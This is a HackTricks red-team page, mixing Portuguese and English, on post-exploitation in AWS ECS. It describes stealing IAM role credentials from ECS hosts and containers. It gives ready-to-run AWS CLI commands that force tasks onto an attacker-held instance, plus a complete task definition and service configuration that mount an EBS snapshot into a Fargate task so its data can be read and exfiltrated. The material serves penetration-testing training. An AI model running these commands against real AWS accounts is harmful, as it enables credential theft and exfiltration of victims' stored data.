AWS - ECS Post Exploitation

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

Para mais informações confira:

AWS - ECS Enum

IAM Roles do Host

Em ECS um IAM role pode ser atribuído à task executada dentro do container. Se a task for executada dentro de uma instância EC2, a instância EC2 terá outro IAM role anexado a ela.
O que significa que se você conseguir comprometer uma instância ECS você pode potencialmente obter o IAM role associado ao ECR e à instância EC2. Para mais informações sobre como obter essas credenciais confira:

Cloud SSRF - HackTricks

caution

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Privesc to node to steal other containers creds & secrets

Além disso, EC2 usa docker para rodar ECs tasks, então se você conseguir escapar para o node ou acessar o docker socket, você pode verificar quais outros containers estão sendo executados, e até entrar neles e roubar os IAM roles anexados.

Making containers run in current host

Além disso, o EC2 instance role normalmente terá permissão suficiente para atualizar o container instance state das instâncias EC2 que estão sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o state of an instance to DRAINING, então ECS irá remover todas as tasks dela e as que estão sendo executadas como REPLICA serão executadas em uma instância diferente, potencialmente dentro da instância do attacker para que ele possa roubar seus IAM roles e possíveis informações sensíveis de dentro do container.

bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

A mesma técnica pode ser feita desregistrando a EC2 instance do cluster. Isso é potencialmente menos furtivo, mas irá forçar as tasks a serem executadas em outras instâncias:

bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a task ou container foi parado. Existem 3 APIs potenciais para fazer isso:

bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Steal sensitive info from ECR containers

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to download images (you could search for sensitive info in them).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • Needs (minimum):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registre uma task definition com um volume marcado configuredAtLaunch e monte-o no container. Exemplo (imprime o secret e depois dorme):
json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crie ou atualize um serviço passando o snapshot do EBS via volumeConfigurations.managedEBSVolume (requer iam:PassRole na infra role). Exemplo:
json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Quando a task inicia, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo, /loot). Exfiltre pela rede ou pelos logs da task.

Limpeza:

bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks